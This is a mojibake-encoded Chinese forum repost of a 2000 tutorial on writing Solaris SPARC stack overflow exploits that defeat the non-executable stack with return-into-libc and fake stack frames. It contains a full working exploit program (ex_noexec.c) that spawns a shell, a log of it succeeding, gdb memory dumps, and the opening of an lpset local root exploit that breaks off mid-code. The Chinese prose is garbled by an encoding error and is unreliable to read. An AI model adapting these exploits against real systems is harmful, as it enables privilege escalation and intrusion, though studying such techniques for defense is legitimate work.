ÀóÔ°ÔÚÏß

ÀóÔ°Ö®ÃÀ£¬ÔÚ´ºÖ®ÃÈÑ¿£¬ÔÚÏÄÖ®ÕÀ·Å£¬ÔÚÇïÖ®ÊÕ»ñ£¬ÔÚ¶¬Ö®³Áµí

[»Øµ½¿ªÊ¼] [ÉÏһƪ][ÏÂһƪ]


·¢ÐÅÈË: Lg (´´ÔìÈËÉúµÄ´«Ææ), ÐÅÇø: Linux
±ê  Ìâ: Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(2)
·¢ÐÅÕ¾: BBS ÀóÔ°³¿·çÕ¾ (Wed Jun  7 18:24:27 2000), Õ¾ÄÚÐżþ

¡¾ ÒÔÏÂÎÄ×ÖתÔØ×Ô Hacker ÌÖÂÛÇø ¡¿
¡¾ Ô­ÎÄÓÉ Sealed Ëù·¢±í ¡¿


  ËùÓÐϵͳ Linux UNIX Windows Other



  Ê×Ò³ >> ×ÊÁÏÎÄÏ× >> Unix

  Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(2)

·¢²¼ÈÕÆÚ: 2000-5-18
ÄÚÈÝ:
--------------------------------------------------------------------------------

--- Õª×Ô<<ÂÌÃËÔ¿¯>>µÚ¾ÅÆÚ

                      Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд

×÷Õß: warning3 < warning3@hotmail.com >
Ö÷Ò³£ºhttp://www.isbase.com
ÈÕÆÚ: 2000/05/05



3. Èƹý²»¿ÉÖ´ÐжÑÕ»±£»¤µÄÒç³ö³ÌÐò±àд

   ¹ØÓÚ¶ÑÕ»±£»¤ÒÔ¼°Èƹý¶ÑÕ»±£»¤µÄÌÖÂÛÒѾ­³ÖÐøÁ˺ܳ¤Ò»¶Îʱ¼äÁË£¬Solar DesignerÌá
   ³öÁË·µ»ØlibcµÄ·½·¨£¬NergalÓÖÌá³öÁËÒ»ÖÖαÔì¶ÑÕ»Ö¡ÀûÓÃstrcpyÀ´Èƹý²»¿ÉÖ´ÐжÑÕ»
   ±£»¤µÄ·½·¨£¬²»¹ýÕâЩ·½·¨¶¼ÊÇÕë¶ÔLinuxϵͳµÄ(ÎÒÒѾ­ÔÚÁíÍâµÄÎÄÕÂÀïרÃŽéÉÜÈçºÎ
   ÈƹýSolar DesignerµÄLinux²»¿ÉÖ´ÐжÑÕ»²¹¶¡µÄ·½·¨)¡£¶øÔÚSolaris 2.6/7(SPARCƽ
   Ì¨)ÖÐÒ²ÌṩÁËÒ»ÖÖ·½·¨À´½ûÖ¹¶ÑÕ»¿ÉÖ´ÐУ¬´Ó¶øÌá¸ßÁËϵͳµÄ°²È«ÐÔ,
   ¼´ÔÚ/etc/systemÖмÓÈëÁ½ÌõÓï¾ä:

   set noexec_user_stack = 1
   set noexec_user_stack_log = 1

   µÚÒ»ÌõÓÃÀ´Ê¹Óû§µÄ¶ÑÕ»²»¿ÉÖ´ÐУ¬µÚ¶þÌõÓÃÀ´¼Ç¼ÈκÎÊÔͼÔÚ¶ÑÕ»ÖÐÖ´ÐдúÂëµÄ³¢ÊÔ
¡£
   (×¢Ò⣺ÐèÒªÖØÐÂÆô¶¯ÏµÍ³À´Ê¹Ö®ÉúЧ )

   È»¶ø£¬ÕâÖÖ±£»¤»úÖÆÈÔÈ»ÊÇ¿ÉÒÔÈƹýµÄ£¬Horizon<jmcdonal@unf.edu>Ê×ÏÈ·ÖÎöÁËÀûÓ÷µ
   »ØlibcµÄ·½·¨»÷°ÜSolaris²»¿ÉÖ´ÐжÑÕ»µÄ±£»¤¡£ÏÂÃæÎÒÃǾÍÀ´½éÉÜÒ»ÏÂÕâÖÖ·½·¨¡£

   3.1 »ù±¾Ë¼Â·

   SolarisµÄ²»¿ÉÖ´ÐжÑÕ»±£»¤ºÃÏñÖ»ÊǼì²é·µ»ØµØÖ·ÊDz»ÊÇÔÚ¶ÑÕ»ÖУ¬Èç¹ûÊÇ£¬¾Í±¨¶Î´í
   Î󣬲¢¼Ç¼£¬²¢Ã»ÓÐ×öʲôÆäËûµÄ´ëÊ©¡£ÎÒÃÇÖ»Òª²»·µ»Ø¶ÑÕ»¾Í¿ÉÒÔÁË£¬ÄÇÎÒÃÇÈ¥ÄÄÀï
   ÄØ£¿¿ÉÒÔ´úÂë¶Î£¬Ò²¿ÉÒÔÊÇ¿ÉÖ´ÐеÄÊý¾Ý¶Î¡£ÎÒÃÇͨ³£Òª×öµÄÊǵõ½Ò»¸öshell¡£Èç¹ûÄÜ
   Ö´ÐÐsystem("/bin/sh")¾Í¿ÉÒÔÁË£¬ÎÒÃÇ¿ÉÒÔÔÚ¹²Ïí¿âÖÐÕÒµ½system()µÄµØÖ·,ÓÃËüÀ´×ö
   ·µ»ØµØÖ·£¬²ÎÊý"/bin/sh"¿ÉÒÔ´Ó¹²Ïí¿âÖÐÕÒ(ͨ³£¶¼»á°üº¬)£¬Ò²¿ÉÒÔͨ¹ý»·¾³±äÁ¿´«µÝ
¡£

   ÈÔÈ»ÒÔÇ°ÃæµÄvul.cΪÀý£¬Èç¹ûÎÒÃÇҪдһ¸ö²âÊÔ³ÌÐò£¬Ö´ÐÐÁ÷³Ìͨ³£ÊÇÕâÑùµÄ£º

   <1> Ê×ÏȸøstrcpyÌṩ³¤²ÎÊý
   <2> strcpy()½«¸²¸Çmain()º¯ÊýÕ»Ö¡Öб£´æµÄ%iºÍ%l¼Ä´æÆ÷ÄÚÈÝ
   <3> func()º¯ÊýÖ´ÐÐresotreÖ¸ÁCWP(¼Ä´æÆ÷´°£©¼ÓÒ»£¬È»ºóÎÒÃǸ²¸ÇµÄ%iºÍ%lÖµ±»´Ó
       ¶ÑÕ»ÖÐÈ¡³ö£¬·ÅÈë¼Ä´æÆ÷%iºÍ%lÖÐ,%i±ä³É%o ¡£³ÌÐò·µ»Øµ½main()ÖÐÖ´ÐС£
   <4> main()º¯ÊýÓÖ»áÖ´ÐÐret/restoreÖ¸ÁretÖ¸Áî»áÌøµ½(%i7+8)´¦Ö´ÐУ¬restoreÖ¸
       ÁʹCWPÔÙÔö¼ÓÒ»£¬²¢½«%i±ä³É%o£¨%i0±ä³ÉÁË%o0)¡£

   Èç¹ûÎÒÃǸ²¸Çʱ½«±£´æµÄ%i0ÓÃ"/bin/sh"µÄµØÖ·´úÌ棬±£´æµÄ%i7ÓÃ(system()µÄµØÖ·-
8)
   ´úÌ棬ÄÇôÕâʱºò³ÌÐò¾Í»áÖ´ÐÐsystem("/bin/sh")ÁË¡£µ±µ÷ÓÃsystem()º¯ÊýµÄʱºò£¬»á
   ÏÈÖ´ÐÐÒ»Ìõ'save'Ö¸Á½«%o0±ä³É%i0.ÓÉÓÚsystem()µÄµØÖ·²»ÔÚ¶ÑÕ»¶ÎÄÚ£¬Òò´Ë²¢²»»á
   Î¥·´±£»¤¹æÔò¡£

   3.2 Ò»¸öÕë¶Ôvul.cµÄ²âÊÔ³ÌÐòex_noexec.c

   Ã÷°×ÁËÉÏÊö¹ý³Ì£¬ÎÒÃÇ¿ÉÒÔд²âÊÔ³ÌÐòÁË£º
--------------------------------------------------------------------------------
/*                       ex_noexec.c
* simple test exploit for  Solaris with noexec_stack feature.
*                         by warning3 <wanring3@hotmail.com>
*                                                   y2k/5/5
*/

#include <stdio.h>
#include <dlfcn.h>
#include <signal.h>
#include <setjmp.h>

#define VULPROG "./vul"

#define BUFSIZE 8    /* the size of overflowed buffer*/


int step;            /* ËÑË÷"/bin/sh"ʱµÄ²½³¤ºÍ·½Ïò   */
jmp_buf jmpenv;      /* ¶¨ÒåÒ»¸öjmp_bufÀ´´¢´æµ±Ç°Õ»Ö¡ */

void fault()
{
   if (step<0)   /* Èç¹û²½³¤Ð¡ÓÚ0,»Ö¸´±£´æµÄÕ»Ö¡£¬setjmp()·µ»Ø1Öµ,·´·½ÏòËÑË÷ */
      longjmp(jmpenv,1);
   else          /* Èç¹û²½³¤´óÓÚ0,˵Ã÷ÒѾ­Á½¸ö·½Ïò¶¼ËÑË÷Íê±Ï£¬±¨´í */
   {
      printf("Couldn't find /bin/sh at a good place in libc.\n");
      exit(1);
   }
}

long get_sp(void)         /* µÃµ½µ±Ç°¶ÑÕ»Ö¸ÕëµØÖ· */

{
        __asm__("mov %sp,%i0");
}


main( int argc, char **argv )

{

         char *env[1]; /* »·¾³±äÁ¿Ö¸ÕëÊý×é */

         void *handle; /* ¶¯Ì¬Áª½Ó¿â¾ä±ú */
         long system_addr; /* system()µÄµØÖ· */


        char *pattern;  /* ¹¹Ô츲¸ÇÊý¾ÝµÄbuffer */

        long sh_addr, i, fp_addr;
        long bufsize=BUFSIZE, patternsize ;
        long  *addrptr;

        if( argc > 1 ) bufsize = atoi(argv[1]);

        /* ÉèÖÃÒ»¸ö¿ÉÓÃ(д)µÄfpµØÖ·£¬ÔËÐÐsystem()ʱ»áÓõ½ */
        fp_addr = (get_sp() | 0xffff) & 0xfffffac0;

        printf("Usages: %s <bufsize>  \n", argv[0] );
        printf("Using FP address = 0x%x,  Bufsize = %d\n", fp_addr, bufsize );

        if (!(handle=dlopen(NULL,RTLD_LAZY)))   /* ´ò¿ªµ±Ç°Ê¹ÓõĶ¯Ì¬Á¬½á¿â */
        {
           fprintf(stderr,"Can't dlopen myself.\n");
           exit(1);
        }

        /* ÕÒµ½system()µÄµØÖ· */
        if ((system_addr=(long)dlsym(handle,"system"))==NULL)
        {
           fprintf(stderr,"Can't find system().\n");
           exit(1);
        }

        system_addr -= 8; /* ÒòΪretʱ,»áÌøµ½(%i7+8)´¦È¥Ö´ÐУ¬ËùÒÔÕâÀïÒª¼õ8 */

        /* ¼ì²éÊDz»ÊÇ°üº¬Áã×Ö½Ú */
        if (!(system_addr & 0xff) || !(system_addr * 0xff00) ||
           !(system_addr & 0xff0000) || !(system_addr & 0xff000000))
        {
           fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
           exit(1);
        }


        printf("found system() at 0x%lx\n",system_addr);

        /* ÔÚlibc¿âÖÐËÑË÷"/bin/sh"µØÖ·£¬ÕâÊÇSolar DesignerÌṩµÄ·½·¨ */

        if (setjmp(jmpenv))  /* Èç¹ûsetjmp·µ»Ø1,ÉèÖÃËÑË÷²½³¤Îª1 */
           step=1;
        else                 /* Èç¹ûsetjmp·µ»Ø0(ȱʡ·µ»Ø0),ÉèÖÃËÑË÷²½³¤Îª-1 */
           step=-1;

        sh_addr=system_addr; /* ÉèÖÃÆðʼËÑË÷µØַΪsystem()µØÖ· */

        signal(SIGSEGV,fault);  /* ÉèÖÃÐźŲ¶×½£¬µ±ËÑË÷µ¼Ö¶δíÎóʱ£¬Ö´ÐÐfault()
 */

        /* ÔÚsystem()µØÖ·µÄÁ½²àËÑË÷"/bin/sh"µØÖ· */

        while (memcmp((void *)sh_addr, "/bin/sh", 8)) sh_addr+=step;

        /* ¼ì²éµÃµ½µÄµØÖ·ÊÇ·ñ°üº¬Áã×Ö½Ú */
        if (!(sh_addr & 0xff) || !(sh_addr & 0xff00) || !(sh_addr & 0xff0000)
              || !(sh_addr & 0xff000000))
        {
             fprintf(stderr,"the address of \"/bin/sh\" contains a '0'.
sorry.\n");
             exit(1);
        }

        printf("found \"/bin/sh\" at 0x%lx\n",sh_addr);

        /* Îª¸²¸ÇÊý¾Ý·ÖÅä¿Õ¼ä */
        patternsize = bufsize + 4*4 + 16*4 + 1;

        if((pattern = (char *)malloc(patternsize)) == NULL) {
           printf("Can't get enough memory!\n");
           exit(-1);
        }

        memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage
*/
        /* Ö¸ÕëÒƶ¯µ½±£´æµÄ%l0´¦ */
        addrptr = (long *) (pattern + bufsize + 4*4 );

        /* Let's overwrite caller function's saved stack frame
           I know it's ugly,but just make it more clearly .:)
         */

        /* saved %l0-%l7£¬ÕâЩÄÚÈÝ¿ÉÒÔÌî³äÈÎÒâÊý¾Ý */

        *addrptr++ = fp_addr;       /* %l0 */
        *addrptr++ = fp_addr;       /* %l1 */
        *addrptr++ = fp_addr;       /* %l2 */
        *addrptr++ = fp_addr;       /* %l3 */
        *addrptr++ = fp_addr;       /* %l4 */
        *addrptr++ = fp_addr;       /* %l5 */
        *addrptr++ = fp_addr;       /* %l6 */
        *addrptr++ = fp_addr;       /* %l7 */

        /* saved %i0-%i7 */
        *addrptr++ = sh_addr;       /* %i0 £¬ÓÃ"/bin/sh"µØÖ·Ìî³ä */
        *addrptr++ = fp_addr;       /* %i1 */
        *addrptr++ = fp_addr;       /* %i2 */
        *addrptr++ = fp_addr;       /* %i3 */
        *addrptr++ = fp_addr;       /* %i4 */
        *addrptr++ = fp_addr;       /* %i5 */
        *addrptr++ = fp_addr;       /* saved %fp(%i6), Õâ¸ö%fp±ØÐëÊÇ¿ÉÓõĵØÖ·
*/
        *addrptr++ = system_addr;   /* saved ret addr (%i7), (system() - 8 ) */


        env[0]=NULL;

        execle(VULPROG, VULPROG, pattern,NULL,env);

} /* end of main */

------------------------------------------------------------------------------

bash-2.03$ ./exp           <---  ÏÈÀ´ÊÔÊÔÔ­À´µÄ·½·¨
Usages: ./exp <align> <offset> <bufsize>

Using RET address = 0xffbefd2c  ,Bufsize = 8, Offset = 1500, Align= 0
CCCCCCCCCCCCCCCCCCCCCCCCÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,ÿ?,
ÿ?,ÿ?,C
¶Î´íÎó                     <---  Ê§°ÜÁË
bash-2.03$ tail -1 /var/adm/messages  <--- ¿´¿´messagesÀïµÄ¼Ç¼
May  5 16:12:07 sun1 unix: NOTICE: vul[13199] attempt to execute code on stack
by uid 100
bash-2.03$ ./ex_exec       <---  ÊÔÊÔÎÒÃǵÄгÌÐò
Usages: ./ex_exec  <offset> <bufsize>
Using FP address = 0xffbefac0,  Bufsize = 8
found system() at 0xff30c9c4
found "/bin/sh" at 0xff320e94
CCCCCCCCCCCCCCCCCCCCCCCCÿ??¾ú?¾ú?¾ú?¾ú?¾ú?¾ú?¾ú?2?¾ú?¾ú?¾ú?¾ú?¾ú?¾ú?0ÉÄC
$ id
uid=100(warning3) gid=1(other)  <--- ³É¹¦ÁË :)
$ exit
^C
bash-2.03$

   3.3  ²»Äܵõ½root shellµÄ·ÖÎöÒÔ¼°½â¾ö·½·¨

   ÎÒÃÇ¿´µ½£¬ÎÒÃdzɹ¦µÃµ½ÁËÒ»¸öshell,µ«ÊÇȴûÓеõ½root shell.ÕâÊÇÒòΪsystem
   (cmsd)ʵ¼ÊÉÏÊÇÖ´ÐÐÁË"/bin/sh -c cmd",¶øSolaris ÏµÄ/bin/shÈç¹û¼ì²éµ½½ø³ÌµÄ
   euid=0µ«Óû§Õæʵuid²»Îª0,¾Í»á½«½ø³ÌeuidÉèÖóÉÓû§Õæʵuid,Òò´Ë£¬ÔÚÕâÖÖÇé¿öÏÂ
   £¬ÎÒÃÇÊÇÎÞ·¨Í¨¹ýsystem()À´»ñµÃroot shellµÄ¡£

  £¨ÁíÍâÎÒÃÇ×¢Òâµ½ÔÚ"exit"µÄʱºò£¬½ø³ÌËÀµôÁË£¬±ØÐë°´Ctrl_CÖÕÖ¹£¬ÕâÊÇÒòΪµ±
   system()Ö´ÐÐsaveºó£¬%o7»á±ä³É%i7,µ±system()ÖØÐÂret/restoreʱ,³ÌÐòÓÖ»áÌøµ½
   (%i7+8),ÕâÑù³ÌÐò¾ÍÏÝÈëËÀÑ­»·ÁË¡£ÓÐÁíÍâµÄ°ì·¨À´½â¾öÕâ¸öÎÊÌ⣬ºóÃæÎÒÃÇ»áÌáµ½£©

   ÄÇôÎÒÃǿɲ»¿ÉÒÔÏÈÖ´ÐÐÒ»¸ösetuid(0),È»ºóÔÙÖ´ÐÐsystem()À´»ñµÃroot shellÄØ£¿
   ÀíÂÛÉÏËƺõÊÇ¿ÉÐеġ£Ö»ÒªÔÙ¹¹ÔìÒ»¸ösetuid()µÄ¼ÙÕ»Ö¡¾Í¿ÉÒÔÁË¡£µ«ÊÇʵ¼ÊÉÏÊÇÐв»
   Í¨µÄ£¬ÒòΪSPARCƽ̨ϵĺ¯ÊýÓÐÁ½ÖÖ£¬Ò»ÖÖÊÇleaf(Ò¶º¯Êý£©£¬Ò»ÖÖÊÇ·Çleaf£¨Ò³)º¯Êý
   .leafº¯Êýͨ³£±È½Ï¼òµ¥£¬ÎªÁËÌá¸ßЧÂÊ£¬ËüÃDz»ÊÇÀûÓöÑÕ»´«µÝ²ÎÊý£¬¶øÖ»ÊÇÀûÓÃout
   ¼Ä´æÆ÷£¬Òò´Ë£¬ÔÚleafº¯ÊýµÄ¹ý³Ìµ÷ÓÃÖÐÊÇûÓÐsaveºÍrestoreÖ¸ÁîµÄ£¬ËüÃÇ·µ»ØʱʹÓÃ
   retl¶ø²»ÊÇretÖ¸Áî¡£retlµÈ¼ÛÓÚ£º
   jmpl %o7,  8, %g0 £¨×¢Òâ²»ÊÇ %i7 + 8 )

   ¶ø·Çleafº¯ÊýÔòʹÓÃsave/restoreÖ¸Áî±£´æ/»Ö¸´Õ»Ö¡£¬²¢Ê¹ÓÃret·µ»Ø.

   ÔÚÌøµ½leafº¯ÊýÖ´ÐеÄʱºò£¬retlʱÓÖ»áÌøµ½(%o7+8)È¥Ö´ÐУ¬Õâ¾ÍÏÝÈëÁËËÀÑ­»·(ÒòΪ
   %o7¾ÍÊÇsetuid()µÄµØÖ·-8)£¬¶øÇÒûÓа취½â¾ö¡£Òò´ËÎÒÃǵÄsystem()Ò²¾ÍÓÀÔ¶²»»á±»
   ¼ÌÐøÖ´ÐÐÁË¡£

   ÎÒÃÇ¿´¸ö¼òµ¥µÄleafº¯ÊýµÄÀý×ÓÀ´¼ÓÉîÒ»ÏÂÀí½â£º

bash-2.03$ cat > set.c
main()
{
setuid(0);

}
^D
bash-2.03$ gcc -o set set.c -static
bash-2.03$ gdb ./set
GNU gdb 4.18
<....>
No symbol "set" in current context.
(gdb) disass main
Dump of assembler code for function main:
0x101b8 <main>: save  %sp, -112, %sp
0x101bc <main+4>:       clr  %o0
0x101c0 <main+8>:       call  0x10d74 <setuid>
0x101c4 <main+12>:      nop
0x101c8 <main+16>:      ret
0x101cc <main+20>:      restore
End of assembler dump.
(gdb) disass setuid
Dump of assembler code for function setuid:
0x10d74 <setuid>:       mov  0x17, %g1    <--- Ã»ÓÐsaveÖ¸Áî
0x10d78 <setuid+4>:     ta  8
0x10d7c <setuid+8>:     bcc  0x10d90 <setuid+28>
0x10d80 <setuid+12>:    sethi  %hi(0x16400), %o5
0x10d84 <setuid+16>:    or  %o5, 0x328, %o5     ! 0x16728 <_cerror>
0x10d88 <setuid+20>:    jmp  %o5
0x10d8c <setuid+24>:    nop
0x10d90 <setuid+28>:    retl          <--- ²»ÊÇretÖ¸Áî
0x10d94 <setuid+32>:    mov  %g0, %o0 <--- Ã»ÓÐrestoreÖ¸Áî
End of assembler dump.
(gdb)

   ÄÇôÎÒÃÇÓÃʲô°ì·¨À´½â¾öÎÊÌâÄØ£¿¿¼ÂÇÒ»ÏÂÎÒÃǵÄshellcode,ͨ³£¶¼ÊÇÖ´ÐеÄ
   execl("/bin/sh","/bin/sh",NULL).  ÄÇôÎÒÃÇÒ²¿ÉÒÔͨ¹ýÖ±½ÓʹÓÃexecl()À´Ö´ÐÐÈÎÒâ
   ÃüÁî¡£¼ÈÈ»ÎÒÃDz»ÄÜÀûÓÃ/bin/sh,¿ÉÒÔ¿¼ÂÇÖ´ÐÐ/bin/ksh(ËüûÓÐÕâ¸öÏÞÖÆ),»òÕß/tmp/
   blah,Ò»Ñù¿ÉÒÔ´ïµ½ÎÒÃǵÄÄ¿µÄ¡£
   --------------------------------------------------
   /* gcc -o /tmp/blah /tmp/blah.c */

   main()
   {
     setuid(0);
     execl("/bin/sh","/bin/sh",0);

   }
   ---------------------------------------------------

   Âé·³µÄÊÇexecl()µÄµÚÈý¸ö²ÎÊýÊÇ0,Òò´ËÎÒÃDz»Äܽ«Ëüͨ¹ý²ÎÊý´«µÝ£¬ÎÒÃÇ¿¼ÂÇÁíÍâÒ»ÖÖ
   ·½·¨£º
   ÔÚ»·¾³±äÁ¿Öй¹ÔìÒ»¸ö¼ÙµÄÕ»Ö¡£¬½«execl()ÓõIJÎÊý·Å½øÈ¥¡£
   ÕâÖÖ·½·¨Ò²¿ÉÒÔÓÃÀ´Ö´ÐÐÒ»´®·Çleafº¯Êý£¨¹¹Ôì¶à¸ö¼ÙÕ»Ö¡),Ö»Òª½«µÚ¶þ¸öÒªÖ´Ðеĺ¯
Êý
   µÄµØÖ··Åµ½µÚÒ»¸öº¯ÊýÕ»Ö¡µÄ%i7ÖУ¬²¢½«µÚÒ»¸öº¯ÊýÕ»Ö¡µÄ%fpÖ¸ÏòµÚ¶þ¸öº¯ÊýµÄÕ»Ö¡
Æð
   Ê¼µØÖ·¾ÍÐÐÁË¡£µ«ÊÇÕâÖÖ·½·¨ÓÐÒ»µãҪעÒâµÄ¾ÍÊÇÎÒÃÇÐèÒªÌø¹ý¸Ã·Çleafº¯ÊýµÄsaveÖ¸
Áî
   ¡£


¶ÑÕ»µÍÖ·
        __________
%fp    | %l0-%l7  | 8*4    ±£´æmain()µÄ%l0-%l7¼Ä´æÆ÷
       |__________|
%fp+32 | %i0-%i5  | 6*4    ±£´æmain()µÄ%i0-%i5¼Ä´æÆ÷
       |__________|
%fp+56 | %fp1     | 1*4  = Ö¸Ïò»·¾³±äÁ¿ÖеļÙÕ»Ö¡   ---\
       |__________|                                    |
%fp+60 | %i7      | 1*4  = (execl()-4)                 |
       |__________|                                    |
                                                       |
»·¾³±äÁ¿£º                                             |
        __________                                     |
%fp1   | %l0-%l7  | 8*4  <-----------------------------/
       |__________|
%fp1+32| %i0      | 1*4  = "/bin/sh"µÄµØÖ·
       |__________|
%fp1+36| %i1      | 1*4  = "/bin/sh"µÄµØÖ·
       |__________|
%fp1+40| %i2      | 1*4  = 0x00000000
       |__________|
%fp1+44| %i3      | 1*4  = ÈÎÒâÊý¾Ý
       |__________|
%fp1+48| %i4      | 1*4  = ÈÎÒâÊý¾Ý
       |__________|
%fp1+52| %i5      | 1*4  = ÈÎÒâÊý¾Ý
       |__________|
%fp1+56| %fp2     | 1*4  = Ö¸ÏòÏÂÒ»¸ö·Çleafº¯ÊýµÄ¼ÙÕ»Ö¡ --------> ....
       |__________|
%fp1+60| %i7      | 1*4  = ÏÂÒ»¸ö·Çleafº¯ÊýµØÖ· - 4
       |__________|

¶ÑÕ»¸ßÖ·

   µ±ÎÒÃǸ²¸Çµômain()º¯ÊýµÄ±£´æµÄ%lºÍ%iºó£¬µ±func()Ö´ÐеÚÒ»¸öret/resotre
   £¬·µ»Øµ½main()ÀïÃ棬Õâʱ%fp¾ÍÖ¸ÏòÁË»·¾³±äÁ¿ÖеļÙÕ»Ö¡µØÖ·£¬%i7=(execl()-4)
   µ±main()º¯ÊýÔÙ´ÎÖ´ÐÐret/resotreʱ£¬%fpÖб£´æµÄ¼ÙÕ»Ö¡ÄÚÈݱ»»Ö¸´µ½%lºÍ%i¼Ä´æÆ÷
   ÀÕâʱºòÎÒÃǵÄexecl()ËùÐèÒªµÄÈý¸ö²ÎÊýÒѾ­ÔÚ%i0/%i1/%i2ÖÐÁË£¬¶øÏÖÔÚµÄ%o0-%o7
   ¾ÍÊÇÎÒÃǸ²¸ÇµÄmain()º¯ÊýµÄÕ»Ö¡ÄÚÈÝ¡£Èç¹û°´ÕÕÔ­À´µÄ×ö·¨£¬ÏÖÔÚÓ¦¸ÃÌøµ½execl()
   ´¦È¥Ö´ÐУ¬È»ºóÖ´ÐÐsaveÖ¸Á½«%oÔÙ±ä³É%i.µ«ÊǼÈÈ»ÎÒÃÇËùÒªµÄ²ÎÊýÒѾ­ÔÚ%iÖÐÁË£¬
   ÎÒÃǾͲ»±ØÔÙÖ´ÐÐsaveÖ¸ÁîÁË£¬ËùÒÔÎÒÃÇÔ­À´Ìî³äµÄÊÇ(execl()-4),ÕâÑù(%i7+8)=
   (execl()+4),¸ÕºÃÌø¹ýsaveÖ¸Á¶øµ±ÎÒÃÇÖ´ÐÐÍêexecl()·µ»ØµÄʱºò,ret/resotreÖ¸Áî
   »á´Ó%fp2ËùÖ¸µÄÕ»Ö¡Öлָ´%iºÍ%l,²¢Ìøµ½(%i7+8)´¦£¨Ò²¾ÍÊÇ (ÏÂÒ»¸ö·Çleafº¯ÊýµØÖ·
    + 4) )Ö´ÐÐ,ÒÔ´ËÀàÍÆ£¬¾Í¿ÉÒÔ˳ÐòÖ´Ðжà¸ö·Çleafº¯Êý¡£

   ×¢Ò⣺Æäʵexecl()ÕýÈ·Ö´ÐÐÍêºóÊDz»»á·µ»ØµÄ£¬Òò´Ë(%i7+8)ͨ³£²¢²»»á±»Ö´Ðе½.
£¨³ý·Çexecl()Ö´ÐÐʧ°Ü).


   3.4  ¹ØÓÚ¼ÙÕ»Ö¡µØÖ·µÄÈ·¶¨

   Òò´ËÕâÀïµÄÒ»¸ö¹Ø¼üÎÊÌâÊÇÈçºÎÈ·¶¨»·¾³±äÁ¿ÖмÙÕ»Ö¡µÄµØÖ·£¬Õâ¸öµØÖ·±ØÐë·Ç³£¾«È·
£¬
   ·ñÔòexecl()Ö´Ðп϶¨»áʧ°Ü¡£ÎÒÃÇʹÓÃexecle()À´µ÷ÓÃÓÐÈõµãµÄ³ÌÐò£¬execle()ÔÊÐíÎÒ
   ÃÇ×Ô¼º¶¨ÖÆ»·¾³±äÁ¿µÄÄÚÈÝ£¬ÕâÑù¿ÉÒÔ×î´óÏ޶ȵÄÏû³ý²»Í¬Óû§ÓÉÓÚ»·¾³±äÁ¿²»Í¬¶øµ¼
   ÖµļÙÕ»Ö¡µØÖ·µÄ²î±ð¡£Solaris¶ÑÕ»µÄ×¶Ë×ÜÊÇ°üº¬³ÌÐòµÄ·¾¶ÒÔ¼°ÏµÍ³Æ½Ì¨½á¹¹ÐÅ
   Ï¢¡£ÀýÈ磺

   µÍÖ·
   |
   |        __________
   |       | ¶ÑÕ»Çø   |
   |       |__________|
   |       | »·¾³±äÁ¿ |
   |       |__________|
   |sp_addr| Æ½Ì¨ÐÅÏ¢ |
   |       |__________|
   |       | ³ÌÐò·¾¶ |
   |       |__________|
   |       |0x00000000| 1*4   ×îºóËĸö×Ö½Ú×ÜÊÇ0
   |       |__________|
   v0xffbf0000 (Solaris 7)
   ¸ßÖ·

   Æ½Ì¨ÐÅÏ¢ºÍ³ÌÐò·¾¶µÄ³¤¶È¶¼¿ÉÒÔÈ·¶¨£¬µ«ÊÇsp_addrµÄµØÖ·²¢²»ÊǼòµ¥µÄµÈͬÓÚ
   0xffbf000 - 4 - Æ½Ì¨ÐÅÏ¢³¤¶È - ³ÌÐò·¾¶³¤¶È - 2
   ¶øÊÇ»¹ÒªÔÙ¼õÈ¥¸öÆ«ÒÆÁ¿£¬ÎÒ²âÊÔÁ˶à´Î£¬Õâ¸öֵͨ³£ÊÇ0-5Ö®¼ä¡£

   ¼òµ¥µÄ¿´¸öÀý×Ó£º

bash-2.03# gdb ./ex2
GNU gdb 4.18
<......>
(gdb) b main
Breakpoint 1 at 0x10c9c
(gdb) r
Starting program: /export/home/warning3/test/non/./ex2

Breakpoint 1, 0x10c9c in main ()
(gdb) x/200s 0xffbeff00
<.......>
0xffbeff93:      "TERM=vt100"
0xffbeff9e:      "PATH=/usr/local/bin:/usr/sbin:/usr/bin"
0xffbeffc5:      "SUNW,Ultra-5_10"   <--- Æ½Ì¨ÐÅÏ¢£¬²»Í¬µÄ»úÆ÷¿ÉÄܲ»Ò»Ñù
0xffbeffd5:      "/export/home/warning3/test/non/ex2" <-- Â·¾¶ÐÅÏ¢
0xffbefff8:      ""
0xffbefff9:      ""
0xffbefffa:      ""
0xffbefffb:      ""
0xffbefffc:      ""
0xffbefffd:      ""
0xffbefffe:      ""
0xffbeffff:      ""
0xffbf0000:      <Address 0xffbf0000 out of bounds>
0xffbf0000:      <Address 0xffbf0000 out of bounds>
---Type <return> to continue, or q <return> to quit---q
Quit

(gdb) x/20x 0xffbeffc0
0xffbeffc0:     0x2f62696e      0x0053554e      0x572c556c      0x7472612d
0xffbeffd0:     0x355f3130      0x002f6578      0x706f7274      0x2f686f6d
0xffbeffe0:     0x652f7761      0x726e696e      0x67332f74      0x6573742f
0xffbefff0:     0x6e6f6e2f      0x65783200      0x00000000      0x00000000
0xffbf0000:     Cannot access memory at address 0xffbf0000.
(gdb)

   3.5  Ò»¸öʵ¼ÊµÄÀý×Ólpset_nonexec.c

   ÏÖÔÚÎÒÃǾͿÉÒÔÀ´Ð´Ò»¸öеIJâÊÔ³ÌÐòÁË£¬»¹ÊÇÒÔlpsetΪÀý£º

--------------------------------------------------------------------------------
-
/*                ---> lpset_nonexec.c <---
* expoit for lpset in Solaris 2.6/7 sparc version with non-exec-statck feature.
*
* It is one test for writing exploits in Sparc to defeat non-exec statck,
* just for EDUCATIONAL purpose.:)
* tested in Solaris 2.6/7 /sparc.
* Usages:
*         ./lpset_nonexec  <offset> <bufsize>
*                                               by warning3@hotmail.com
  *                                                          y2k/05/05
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>

#define VULPROG "/usr/bin/lpset"
#define SHELL "/bin/ksh"
#define PRINTER "blah"

#define BUFSIZE 944         /* the size of overflowed buffer*/
#define NOP     0xaa1d4015  /* "xor %l5, %l5, %l5" */

#define OFFSET  4           /* if don't work ,try adjust offst to 0 - 5 */

long get_sp(void)

{
        __asm__("mov %sp,%i0");
}


main( int argc, char **argv )

{

         char *env[7];
         char fakeframe[512];
         char plat[256];

         void *handle;
         long execl_addr;


